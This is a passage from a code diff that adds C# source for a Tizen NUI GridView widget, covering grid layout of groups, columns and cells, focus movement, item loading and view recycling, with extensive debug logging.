+        /// Add groups to GridView.
+        /// </summary>
+        /// <param name="groupCount">The count of groups to add.</param>
+        public void AddGroup(int groupCount)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add Group Number{0}", groupCount));
+            int prevCount = groupList.Count;
+            for (int i = prevCount; i < groupCount + prevCount; i++)
+            {
+                Group newGroup = new Group();
+                newGroup.index = i;
+                newGroup.columnList = new List<Column>();
+                newGroup.itemList = new List<GridItem>();
+                newGroup.itemIndexToCell = new Dictionary<int,Cell>();
+
+                if (GridType.Horizontal == gridType)
+                {
+                    newGroup.startPos = newGroup.endPos = (i == 0 ? 0 : groupSpace + groupList.ElementAt(i - 1).endPos);
+                }
+                else
+                {
+                    newGroup.startPos = newGroup.endPos = (i == 0 ? 0 : groupSpace + groupList.ElementAt(i - 1).endPos + titleSpace);
+                }
+
+                if (gridBridge != null)
+                {
+                    View groupTitle = gridBridge.GetGroupTitleView(i);
+                    if (groupTitle != null)
+                    {
+                        newGroup.title = groupTitle;
+                        if (GridType.Horizontal == gridType)
+                        {
+                            groupTitle.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                            groupTitle.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                            groupTitle.PositionUsesPivotPoint = true;
+                            groupTitle.PositionX = newGroup.startPos;
+                            groupTitle.PositionY = -titleSpace;
+                            Tizen.Log.Fatal("NUI", "titleView.PositionX: " + groupTitle.PositionX + ", titleView.PositionY: " + groupTitle.PositionY);
+                        }
+                        else
+                        {
+                            groupTitle.PositionX = 0;
+                            groupTitle.PositionY = newGroup.startPos - titleSpace;
+                        }
+
+                        itemGroup.Add(groupTitle);
+                    }
+                }
+
+                groupList.Add(newGroup);
+           }
+        }
+
+        internal void ResetGroup(int groupCount)
+        {
+            Tizen.Log.Fatal("NUI", "...." + groupCount);
+            if (groupList.Count < groupCount)
+            {
+                AddGroup(groupCount - groupList.Count);
+            }
+            else if (groupList.Count > groupCount)
+            {
+                int removeCount = groupList.Count - groupCount;
+                for (int i = groupCount; i < groupList.Count; i++)
+                {
+                    if (groupList.ElementAt(i).title != null)
+                    {
+                        itemGroup.Remove(groupList.ElementAt(i).title);
+                        gridBridge.RemoveGroupTitleView(i, groupList.ElementAt(i).title);
+                    }
+
+                    Clear(i);
+                }
+
+                groupList.RemoveRange(groupCount, removeCount);
+            }
+        }
+
+        // Add column to GridView.
+        internal void AddColumn(int columnWidth, int groupIndex = 0)
+        {
+            if (groupList.Count == 0)
+            {
+                Group newGroup = new Group();
+                newGroup.index = 0;
+                newGroup.columnList = new List<Column>();
+                newGroup.itemList = new List<GridItem>();
+                newGroup.itemIndexToCell = new Dictionary<int, Cell>();
+                newGroup.startPos = newGroup.endPos =  0;
+                groupList.Add(newGroup);
+            }
+
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add column columnWidth {0} to group {1}",columnWidth, groupIndex));
+            
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            Column newColumn = new Column();
+            newColumn.groupIndex = groupIndex;
+            newColumn.index = curGroup.columnList.Count;
+            newColumn.space = columnWidth;
+
+            if (newColumn.index == 0)
+            {
+                newColumn.startPos = curGroup.startPos;
+            }
+            else
+            {
+                newColumn.startPos = curGroup.columnList.ElementAt(newColumn.index - 1).endPos + columnSpace; 
+            }
+
+            newColumn.endPos = newColumn.startPos + columnWidth;
+
+            if (newColumn.cellList == null)
+            {
+                newColumn.cellList = new List<Cell>();
+            }
+
+            curGroup.columnList.Add(newColumn);
+
+            float posOffset = (0 == newColumn.index) ? columnWidth : columnWidth + columnSpace;
+            curGroup.endPos += posOffset;
+ 
+            for (int i = groupIndex + 1; i < (int)groupList.Count; i++)
+            {
+                if (GridType.Horizontal == gridType && groupList.ElementAt(i).title != null)
+                {
+                    groupList.ElementAt(i).title.PositionX += posOffset;
+                }
+
+                groupList.ElementAt(i).ResetPosition(posOffset);
+            }
+
+            Tizen.Log.Fatal("NUI", "...");
+            return;
+        }
+        /// <summary>
+        /// Add row to the column in GridView.
+        /// </summary>
+        /// <param name="columnIndex">The column index;</param>
+        /// <param name="rowHeight">The row space.</param>
+        /// <param name="groupIndex">The group index.</param>
+        public void AddRowToColumn(int columnIndex, int rowHeight, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row rowHeight {0} to column {1} of group {2}", rowHeight, columnIndex, groupIndex));
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            Column curColumn = curGroup.columnList.ElementAt(columnIndex);
+
+            int curRowNumInCol = curColumn.cellList.Count;
+
+            Cell newCell = new Cell();
+
+            Cell lastCell = (curRowNumInCol == 0 ? null : curColumn.cellList.ElementAt(curRowNumInCol - 1));
+
+            if (GridType.Horizontal == gridType)
+            {
+                newCell.rect.X = curColumn.startPos;
+                newCell.rect.Y = (curRowNumInCol == 0 ? 0 : lastCell.rect.Bottom() + rowSpace);
+                newCell.rect.Height = rowHeight;
+                newCell.rect.Width = curColumn.space;
+            }
+            else
+            {
+                newCell.rect.X = (curRowNumInCol == 0) ? 0 : lastCell.rect.Right() + columnSpace;
+                newCell.rect.Y = curColumn.startPos;
+                newCell.rect.Height = rowHeight;
+                newCell.rect.Width = curColumn.space;
+            }
+
+            newCell.columnIndex = columnIndex;
+            newCell.rowIndex = curRowNumInCol;
+            newCell.index = curRowNumInCol;
+            if (curRowNumInCol == 0)
+            {
+                if (columnIndex == 0)
+                {
+                    newCell.itemIndex = 0;
+                }
+                else
+                {
+                    newCell.itemIndex = curGroup.columnList.ElementAt(columnIndex - 1).endItemIndex + 1;
+                }
+            }
+            else
+            {
+                newCell.itemIndex = lastCell.itemIndex + 1;
+            }
+
+            Tizen.Log.Fatal("NUI", " >>>>>>> newCell.itemIndex: " + newCell.itemIndex + " newCell.rect[" + newCell.rect.X + ", " + newCell.rect.Y + ", " + newCell.rect.Width + ", " + newCell.rect.Height + "]");
+
+            curColumn.cellList.Add(newCell);
+            Tizen.Log.Fatal("NUI", "...");
+
+            if (curRowNumInCol == 0)
+            {
+                curColumn.startItemIndex = newCell.itemIndex;
+            }
+
+            curColumn.endItemIndex = newCell.itemIndex;
+            Tizen.Log.Fatal("NUI", " >>>>>>> curColumn.startItemIndex: " + curColumn.startItemIndex + " curColumn.endItemIndex: " + curColumn.endItemIndex);
+
+            curGroup.itemIndexToCell.Add(newCell.itemIndex, newCell);
+            curGroup.realCellCount++;
+
+            Tizen.Log.Fatal("NUI", "Group: " + groupIndex + ", Column: " + columnIndex + " Cell.rowIndex: " + newCell.rowIndex + " Cell.columnIndex: " + newCell.columnIndex + " Cell.itemIndex: " + newCell.itemIndex + " curGroup.realCellCount:" + curGroup.realCellCount);
+        }
+
+        // Add row to the all column in same group of GridView.
+        internal void AddRowToAllColumn(int rowHeight, int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row rowHeight {0} to to all column of group {1}", rowHeight, groupIndex));
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            int columnCount = groupList.ElementAt(groupIndex).columnList.Count;
+            for (int i = 0; i < columnCount; i++)
+            {
+                AddRowToColumn(i, rowHeight, groupIndex);
+            }
+        }
+        /// <summary>
+        /// Quickly add an regular grid by pass column/row number and cell size.
+        /// </summary>
+        /// <param name="columnCount">The columns count.</param>
+        /// <param name="rowCount">The rows count.</param>
+        /// <param name="columnWidth">The column width.</param>
+        /// <param name="rowHeight">The row height.</param>
+        /// <param name="groupIndex">The groupIndex, default value is -1, means all the groups will use the same regular grid.</param>
+        public void AddRegularGrid(int columnCount, int rowCount, int columnWidth, int rowHeight, int groupIndex = -1)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Add row x column : ({0} x {1}) rowHeight: {2} , columnWidth: {3} to group {4}", rowCount, columnCount, rowHeight, columnWidth, groupIndex));
+
+            if (groupIndex != -1)
+            {
+                if (groupList.Count == 0)
+                {
+                    Group newGroup = new Group();
+                    newGroup.index = 0;
+                    newGroup.columnList = new List<Column>();
+                    newGroup.itemList = new List<GridItem>();
+                    newGroup.itemIndexToCell = new Dictionary<int, Cell>();
+                    newGroup.startPos = newGroup.endPos = 0;
+                    groupList.Add(newGroup);
+                }
+                else if (!IsGroupIndexValid(groupIndex))
+                {
+                    Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                    return;
+                }
+            }
+
+            if (gridType == GridType.Vertical)
+            {
+                int temp = rowCount;
+                rowCount = columnCount;
+                columnCount = temp;
+            }
+
+            this.rowCnt = rowCount;
+            this.colCnt = columnCount;
+            this.rowH = rowHeight;
+            this.colW = columnWidth;
+
+            if (columnCount == -1)
+            {
+                return;
+            }
+
+            if (groupIndex == -1)
+            {
+                for (int k = 0; k < groupList.Count; k++)
+                {
+                    for (int i = 0; i < columnCount; i++)
+                    {
+                        AddColumn(columnWidth, groupIndex);
+
+                        for (int j = 0; j < rowCount; j++)
+                        {
+                            AddRowToColumn(i, rowHeight, groupIndex);
+                        }
+                    }
+                }
+            }
+            else
+            {
+                for (int i = 0; i < columnCount; i++)
+                {
+                    AddColumn(columnWidth, groupIndex);
+
+                    for (int j = 0; j < rowCount; j++)
+                    {
+                        AddRowToColumn(i, rowHeight, groupIndex);
+                    }
+                }
+            }
+        }
+
+        /// <summary>
+        /// Attach title to the group.
+        /// </summary>
+        /// <param name="titleView">The title view.</param>
+        /// <param name="groupIndex">The group index.</param>
+        public void AttachGroupTitle(View titleView, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Attach group title to {0}", groupIndex));
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            if (GridType.Horizontal == gridType)
+            {
+                titleView.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                titleView.PivotPoint = Tizen.NUI.PivotPoint.BottomLeft;
+                titleView.PositionUsesPivotPoint = true;
+                titleView.PositionX = curGroup.startPos;
+                titleView.PositionY = -titleSpace;
+            }
+            else
+            {
+                titleView.PositionX = 0;
+                titleView.PositionY = curGroup.startPos - titleSpace;
+            }
+
+            curGroup.title = titleView;
+            itemGroup.Add(titleView);
+        }
+
+        /// <summary>
+        /// Get group title of specified group index.
+        /// </summary>
+        /// <param name="groupIndex">Group index of GridIndex view.</param>
+        /// <returns>Title view of specified group index.</returns>
+        public View GetGroupTitle(int groupIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return null;
+            }
+
+            return groupList[groupIndex].title;
+        }
+
+        /// <summary>
+        /// Set focus group index and item index of GridView.
+        /// </summary>
+        /// <param name="itemIndex">focus item index</param>
+        /// <param name="groupIndex">focus group index</param>
+        public void SetFoucsItemIndex(int itemIndex, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Set Focus to item {0} of group {1}", itemIndex, groupIndex));
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid item index"));
+                return;
+            }
+
+            if (groupIndex == focusGroupIndex && itemIndex == focusItemIndex)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Already focused"));
+                return;
+            }
+            //if (IsFocused == true)
+            //{
+            //    SetFocus(groupIndex, itemIndex);
+            //}
+            if (HasFocus() == true)
+            {
+                SetFocus(groupIndex, itemIndex);
+            }
+            else
+            {
+                focusGroupIndex = groupIndex;
+                focusItemIndex = itemIndex;
+                focusTagGroupIndex = focusGroupIndex;
+                focusTagItemIndex = focusItemIndex;
+            }
+        }
+
+        /// <summary>
+        /// Get focus group index and item index of GridView.
+        /// </summary>
+        /// <param name="groupIndex">focus group index</param>
+        /// <param name="itemIndex">focus item index</param>
+        public void GetFocusItemIndex(out int groupIndex, out int itemIndex)
+        {
+            groupIndex = focusGroupIndex;
+            itemIndex = focusItemIndex;
+        }
+
+        /// <summary>
+        /// Get loaded item view in GridView.
+        /// </summary>
+        /// <param name="groupIndex">Specified group index</param>
+        /// <param name="itemIndex">Specified item index</param>
+        /// <returns> Return the ItemView, if the item is unloaded, returns null.</returns>
+        public object GetLoadedItemView(int groupIndex, int itemIndex)
+        {
+            GridItem item = null;
+            if (IsGroupIndexValid(groupIndex) == true && IsItemIndexValid(groupIndex, itemIndex))
+            {
+                item = groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex);
+            }
+
+            return item?.itemView;
+        }
+
+        /// <summary>
+        /// User to do the page move.
+        /// </summary>
+        /// <param name="bAni">Used to control whether support animation.</param>
+        public void MoveNextPage(bool bAni = true)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Move to next page"));
+            PageMove(false, bAni);
+        }
+
+        /// <summary>
+        /// User to do the page move.
+        /// </summary>
+        /// <param name="bAni">Used to control whether support animation.</param>
+        public void MovePrevPage(bool bAni = true)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Move to previous page"));
+            PageMove(true, bAni);
+        }
+
+        /// <summary>
+        /// Update an item.
+        /// </summary>
+        /// <param name="itemIndex">The itemIndex.</param>
+        /// <param name="groupIndex">The groupIndex.</param>
+        public void UpdateItem(int itemIndex, int groupIndex = 0)
+        {
+            Tizen.Log.Fatal("NUI", string.Format("[GridView]Update item {0} of group {1}", itemIndex, groupIndex));
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return;
+            }
+
+            Cell curCell = GetCellByItemIndex(groupIndex, itemIndex);
+            int columnIndex = curCell.columnIndex;
+            
+            if ((groupIndex > onScreenRange.startGroupIndex && groupIndex < onScreenRange.endGroupIndex)
+                || (groupIndex == onScreenRange.startGroupIndex && columnIndex >= onScreenRange.startColumnIndex)
+                || (groupIndex == onScreenRange.endGroupIndex && columnIndex <= onScreenRange.endColumnIndex))
+            {
+                gridBridge.UpdateItem(groupIndex, itemIndex, groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex).itemView);
+            }
+        }
+        /// <summary>
+        /// Update all items on screen.
+        /// </summary>
+        public void UpdateAllItems()
+        {
+            foreach (GridItem item in curInMemoryItemSet)
+            {
+                gridBridge.UpdateItem(item.groupIndex, item.index, item.itemView);
+            }
+        }
+        /// <summary>
+        /// Get group number of GridView.
+        /// </summary>
+        /// <returns>Groups count</returns>
+        public int GetGroupCount()
+        {
+            return groupList.Count;
+        }
+        /// <summary>
+        /// Get column count of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>Columns count</returns>
+        public int GetColumnCount(int groupIndex)
+        {
+            Tizen.Log.Fatal("NUI", "... groupIndex = " + groupIndex);
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT; 
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+
+            if (curGroup.columnList == null)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid column list"));
+                return INVALID_COUNT;
+            }
+
+            Tizen.Log.Fatal("NUI", "... curGroup.columnList.Count = " + curGroup.columnList.Count);
+            return curGroup.columnList.Count;
+        }
+        /// <summary>
+        /// Get cell count of specified column of specified group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <param name="columnIndex">The column index.</param>
+        /// <returns>Cells count</returns>
+        public int GetCellCount(int groupIndex, int columnIndex)
+        {
+            if (!IsColumnIndexValid(groupIndex, columnIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT;
+            }
+
+            Column curColumn = groupList.ElementAt(groupIndex).columnList.ElementAt(columnIndex);
+
+            if (curColumn.cellList == null)
+            {
+                return INVALID_COUNT;
+            }
+
+            return curColumn.cellList.Count;
+        }
+
+ 
+        /// <summary>
+        /// Get item count of a group.
+        /// </summary>
+        /// <param name="groupIndex">The group index.</param>
+        /// <returns>Items count</returns>
+        public int GetItemCount(int groupIndex)
+        {
+            if (!IsGroupIndexValid(groupIndex))
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Invalid group index"));
+                return INVALID_COUNT;
+            }
+
+            Group curGroup = groupList.ElementAt(groupIndex);
+            return curGroup.itemList.Count;
+        }
+        /// <summary>
+        /// Get the GridBridge of GridView.
+        /// </summary>
+        /// <returns>The GridBridge of GridView.</returns>
+        public GridBridge GetBridge()
+        {
+            return gridBridge;
+        }
+        /// <summary>
+        /// Get on screen item range.
+        /// </summary>
+        /// <param name="startGroupIndex">The group index of start range.</param>
+        /// <param name="startItemIndex">The item index of start range.</param>
+        /// <param name="endGroupIndex">The group index of end range.</param>
+        /// <param name="endItemIndex">The item index of end range.</param>
+        public void GetOnscreenRange(out int startGroupIndex, out int startItemIndex, out int endGroupIndex, out int endItemIndex)
+        {
+            startGroupIndex = onScreenRange.startGroupInScrn;
+            startItemIndex = onScreenRange.startItemIndexInScrn;
+            endGroupIndex = onScreenRange.endGroupInScrn;
+            endItemIndex = onScreenRange.endItemIndexInScrn;
+        }
+
+        /// <summary>
+        /// Move focus according to parameter direction
+        /// </summary>
+        /// <param name="direction">Focus move direction, can be "Left", "Right",  "Up" or "Down"</param>
+        public void Move(string direction)
+        {
+            MoveFocus(direction);
+        }
+
+        /// <summary>
+        /// Get screen position of specified item.
+        /// </summary>
+        /// <param name="groupIndex">Group index of linear view.</param>
+        /// <param name="itemIndex">Item index of group.</param>
+        /// <exception cref="System.ArgumentNullException">
+        /// Thrown when groupIndex or item index is invalid.
+        /// </exception>
+        /// <returns>Screen position of specified item.</returns>
+        public Position2D GetItemScreenPosition(int groupIndex, int itemIndex)
+        {
+            if (!IsItemIndexValid(groupIndex, itemIndex))
+            {
+                throw new ArgumentException("Group index or item index is invalid");
+            }
+
+            GridItem curItem = groupList.ElementAt(groupIndex).itemList.ElementAt(itemIndex);
+            return curItem?.itemView?.ScreenPosition;
+        }
+
+        /// <summary>
+        /// Dispose of GridView.
+        /// </summary>
+        /// <param name="type">Dispose caused type</param>
+        protected override void Dispose(DisposeTypes type)
+        {
+            if (disposed)
+            {
+                return;
+            }
+
+            if (type == DisposeTypes.Explicit)
+            {
+                //Called by User
+                //Release your own managed resources here.
+                //You should release all of your own disposable objects here.
+
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]Dispose"));
+                focusMoveAni?.Stop();
+                focusMoveAni?.Dispose();
+                focusMoveAni = null;
+
+                ClearRecycleBin();
+                ResetGroup(0);
+            }
+
+            //Release your own unmanaged resources here.
+            //You should not access any managed member here except static instance.
+            //because the execution order of Finalizes is non-deterministic.
+            //Unreference this from if a static instance refer to this. 
+
+            //You must call base.Dispose(type) just before exit.
+            base.Dispose(type);
+        }
+
+        /// <summary>
+        /// GridView event handler
+        /// </summary>
+        public event EventHandler<GridEventArgs> GridEvent
+        {
+            add
+            {
+                gridEventHandlers += value;
+            }
+
+            remove
+            {
+                gridEventHandlers -= value;
+            }
+        }
+        /// <summary>
+        /// Update when GridView attributes changed.
+        /// </summary>
+        /// <param name="sender">the object</param>
+        /// <param name="e">the args of the event</param>
+        protected void OnRelayoutUpdate(object sender, EventArgs e)
+        {
+            gridWidth = this.SizeWidth;
+            gridHeight = this.SizeHeight;
+            Tizen.Log.Fatal("NUI", "...OnRelayoutUpdateOnRelayoutUpdateOnRelayoutUpdateOnRelayoutUpdate...");
+            if (gridBridge != null)
+            {
+                Load();
+
+                if (HasFocus() == true && curInMemoryItemSet.Count != 0)
+                {
+                    SetFocus(focusGroupIndex, focusItemIndex);
+                }
+            }
+        }
+
+        private void OnListEvent(GridEventArgs e)
+        {
+            if (gridEventHandlers != null)
+            {
+                gridEventHandlers(this, e);
+            }
+        }
+
+        private void Initialize()
+        {
+            ClippingMode = ClippingModeType.ClipChildren;
+
+
+            groupList = new List<Group>();
+            itemGroup = new View();
+            itemGroup.Name = "ItemGroup";
+            itemGroup.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+            itemGroup.PivotPoint = Tizen.NUI.PivotPoint.TopLeft;
+            this.Add(itemGroup);
+
+            itemGroupRect = new Rect(0, 0, 0, 0);
+
+            curInMemoryItemSet = new HashSet<GridItem>();
+            nextInMemoryItemSet = new HashSet<GridItem>();
+
+            lastVisibleArea = new Rect(0, 0, 0, 0);
+            onScreenRange = new Range(-1, -1, -1, -1);
+
+            refXForFocusMove = -1;
+            refYForFocusMove = -1;
+
+            focusGroupIndex = 0;
+            focusItemIndex = 0;
+
+            focusTagGroupIndex = 0;
+            focusTagItemIndex = 0;
+
+            StateRightCircularEnable = false;
+            StateLeftCircularEnable = false;
+            
+
+            focusMoveAni = new LinkerAnimation(itemGroup, 100, 100, 0);
+            focusMoveAni.ViaEvent += OnFocusMoveViaEvent;
+            
+            ScrollBarFadeOutDuration = 1000;
+        }
+
+        private void Load()
+        {
+            Tizen.Log.Fatal("NUI", "...lOAD...");
+            int groupCount = groupList.Count;
+            if (groupCount == 0)
+            {
+                return;
+            }
+
+            for (int i = 0; i < groupCount; i++)
+            {
+                Group curGroup = groupList.ElementAt(i);
+                int dataCount = gridBridge.GetItemCount(i);
+
+                int finalCount = curGroup.realCellCount < dataCount ? curGroup.realCellCount : dataCount;
+
+                int bindedItemCount = curGroup.itemList.Count;
+
+                for (int j = 0; j < finalCount; j++)
+                {
+                    GridItem newItem;
+                    if (j < bindedItemCount)
+                    {
+                        newItem = curGroup.itemList.ElementAt(j);
+                    }
+                    else
+                    {
+                        Cell curCell = curGroup.itemIndexToCell[j];
+                        newItem = new GridItem();
+                        newItem.groupIndex = i;
+                        newItem.index = j;
+                        newItem.rect = curCell.rect;
+                        curGroup.itemList.Add(newItem);
+                    }
+                }
+
+                //add for right move between group when not all columns filled
+                if (finalCount >= 1)
+                {
+                    Cell lastItemCell = GetCellByItemIndex(i, finalCount - 1);
+                    curGroup.lastFilledColumnIndex = lastItemCell.columnIndex;
+                }
+            }
+
+            UpdateItemGroupSize();
+
+            InitItemGroupPosition();
+            UpdateInMemoryItems();
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroupRect: " + itemGroupRect.X + ", " + itemGroupRect.Y + ", " + itemGroupRect.Width + ", " + itemGroupRect.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>> itemGroup: " + itemGroup.PositionX + ", " + itemGroup.PositionY + ", " + itemGroup.SizeWidth + ", " + itemGroup.SizeHeight);
+        }
+
+        private void UpdateInMemoryItems()
+        {
+            Rect windowRect = new Rect(-itemGroupRect.X, -itemGroupRect.Y, gridWidth, gridHeight);
+
+            List<GridItem> loadItemList = new List<GridItem>();
+            List<GridItem> unloadItemList = new List<GridItem>();
+
+            GetChangedItems(lastVisibleArea, windowRect, ref loadItemList, ref unloadItemList);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  loadItemList.Count: " + loadItemList.Count + " unloadItemList.Count: " + unloadItemList.Count);
+            lastVisibleArea.X = windowRect.X;
+            lastVisibleArea.Y = windowRect.Y;
+            lastVisibleArea.Width = windowRect.Width;
+            lastVisibleArea.Height = windowRect.Height;
+
+            foreach (GridItem item in unloadItemList)
+            {
+                UnloadItem(item);
+            }
+
+            foreach (GridItem item in loadItemList)
+            {
+                LoadItem(item);
+            }
+            
+        }
+
+        private void UpdateInMemoryItems(Position itemGroupPos)
+        {
+            Rect windowRect = new Rect(-itemGroupPos.X, -itemGroupPos.Y, gridWidth, gridHeight);
+
+            List<GridItem> loadItemList = new List<GridItem>();
+            List<GridItem> unloadItemList = new List<GridItem>();
+
+            GetChangedItems(lastVisibleArea, windowRect, ref loadItemList, ref unloadItemList);
+            lastVisibleArea.X = windowRect.X;
+            lastVisibleArea.Y = windowRect.Y;
+            lastVisibleArea.Width = windowRect.Width;
+            lastVisibleArea.Height = windowRect.Height;
+
+            foreach (GridItem item in unloadItemList)
+            {
+                UnloadItem(item);
+            }
+
+            foreach (GridItem item in loadItemList)
+            {
+                LoadItem(item);
+            }
+
+        }
+
+        private void UnloadItem(GridItem item, bool bDirectly = false)
+        {
+            Tizen.Log.Fatal("NUI", "item: " + item + " bDirectly: " + bDirectly);
+            itemGroup.Remove(item.itemView);
+
+            if (bDirectly)
+            {
+                gridBridge.UnloadItem(item.groupIndex, item.index, item.itemView);
+            }
+            else
+            {
+                AddRecycleView(item.groupIndex, item.index, item.itemView);
+            }
+            
+            item.itemView = null;
+
+            curInMemoryItemSet.Remove(item);
+        }
+
+        private void LoadItem(GridItem item)
+        {
+            curInMemoryItemSet.Add(item);
+
+            if (item.itemView != null)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]LoadItem item view is null"));
+                return;
+            }
+
+            View temp = GetRecycleView(item.groupIndex,item.index);
+            Tizen.Log.Fatal("NUI", " temp: " + temp);
+            if (temp != null)
+            {
+                item.itemView = temp;
+                gridBridge.UpdateItem(item.groupIndex, item.index, item.itemView);
+            }
+            else
+            {
+                item.itemView = gridBridge.GetItemView(item.groupIndex, item.index);
+
+                item.itemView.ParentOrigin = Tizen.NUI.ParentOrigin.TopLeft;
+                item.itemView.PivotPoint = Tizen.NUI.PivotPoint.Center;
+                item.itemView.PositionUsesPivotPoint = false;
+            }
+
+            Tizen.Log.Fatal("NUI", "item.index: " + item.index + " item.rect.X: " + item.rect.X + " item.rect.Y: " + item.rect.Y);
+            item.itemView.Position = new Position(item.rect.X, item.rect.Y, 0.0f);
+            item.itemView.Size2D = new Size2D((int)item.rect.Width, (int)item.rect.Height);
+
+            itemGroup.Add(item.itemView);
+        }
+
+        private void SetViewTypeCount(int typeCount)
+        {
+            if (typeCount < 1)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]SetViewTypeCount type count less than 1"));
+                return;
+            }
+
+            viewTypeCount = typeCount;
+            List<View>[] viewListArray = new List<View>[viewTypeCount];
+
+            for (int i = 0; i < viewTypeCount; i++)
+            {
+                viewListArray[i] = new List<View>();
+            }
+
+            recycledViews = viewListArray;
+        }
+
+        private void AddRecycleView(int groupIndex, int itemIndex, View view)
+        {
+            int viewType = gridBridge.GetItemType(groupIndex, itemIndex);
+
+            if (viewType >= viewTypeCount)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]AddRecycleView viewType larger than viewTypeCount"));
+                return;
+            }
+
+            if (view != null)
+            {
+                view.Hide();
+                view.Scale = new Vector3(1, 1, 1);
+            }
+
+            recycledViews[viewType].Add(view);
+        }
+
+        private View GetRecycleView(int groupIndex, int itemIndex)
+        {
+            int viewType = gridBridge.GetItemType(groupIndex, itemIndex);
+            Tizen.Log.Fatal("NUI", " viewType:" + viewType + " viewTypeCount:" + viewTypeCount);
+
+            if (viewType >= viewTypeCount)
+            {
+                Tizen.Log.Fatal("NUI", string.Format("[GridView]AddRecycleView viewType larger than viewTypeCount"));
+                return null;
+            }
+
+            View obj = null;
+            int viewCount = recycledViews[viewType].Count;
+            if (viewCount != 0)
+            {
+                obj = recycledViews[viewType][viewCount - 1];
+                recycledViews[viewType].Remove(obj);
+            }
+
+            if (obj != null)
+            {
+                obj.Show();
+            }
+
+            return obj;
+        }
+
+        private void ClearRecycleBin()
+        {
+            for (int i = 0; i < viewTypeCount; i++)
+            {
+                for (int j = 0; j < recycledViews[i].Count; j++)
+                {
+                    UnloadRecycledView(i, recycledViews[i][j]);
+                }
+
+                recycledViews[i].Clear();
+            }
+        }
+
+        private void UnloadRecycledView(int viewType, View view)
+        {
+            itemGroup.Remove(view);
+            gridBridge.UnloadItemByViewType(viewType, view);
+        }
+
+        private void GetChangedItems(Rect aLastVisibleArea, Rect curVisibleArea, ref List<GridItem> loadItem, ref List<GridItem> unloadItem)
+        {
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  aLastVisibleArea.X: " + aLastVisibleArea.X + " aLastVisibleArea.Y: " + aLastVisibleArea.Y + " aLastVisibleArea.Width: " + aLastVisibleArea.Width + " aLastVisibleArea.Height: " + aLastVisibleArea.Height);
+            Tizen.Log.Fatal("NUI", ">>>>>>>>>  curVisibleArea.X: " + curVisibleArea.X + " curVisibleArea.Y: " + curVisibleArea.Y + " curVisibleArea.Width: " + curVisibleArea.Width + " curVisibleArea.Height: " + curVisibleArea.Height);
+            GetOnscreenRange(curVisibleArea, ref onScreenRange);
+
+            //Adjust the new start column: if the start column has items which are merge_hidden, 
+            //find the item's smalllest start column as the new start column.
+            Column startColumn = groupList.ElementAt(onScreenRange.startGroupIndex).columnList.ElementAt(onScreenRange.startColumnIndex);
+            int cellCount = startColumn.cellList.Count;
+
+            //save new range items to list
+            nextInMemoryItemSet.Clear();
+            GetItemsInRange(onScreenRange, ref nextInMemoryItemSet);
+
+            loadItem = nextInMemoryItemSet.Except(curInMemoryItemSet).ToList();
+            unloadItem = curInMemoryItemSet.Except(nextInMemoryItemSet).ToList();
+        }
+
+        private void GetOnscreenRange(Rect visibleArea, ref Range range, bool bAllInArea = false)
+        {
+            Cell focusedCell = GetCellByItemIndex(focusGroupIndex, focusItemIndex);
+
+            int focusColumnIndex = focusedCell.columnIndex;
+
+            float areaStartPos, areaEndPos, focusedCellStart, focusedCellEnd;
+            if (GridType.Horizontal == gridType)
+            {
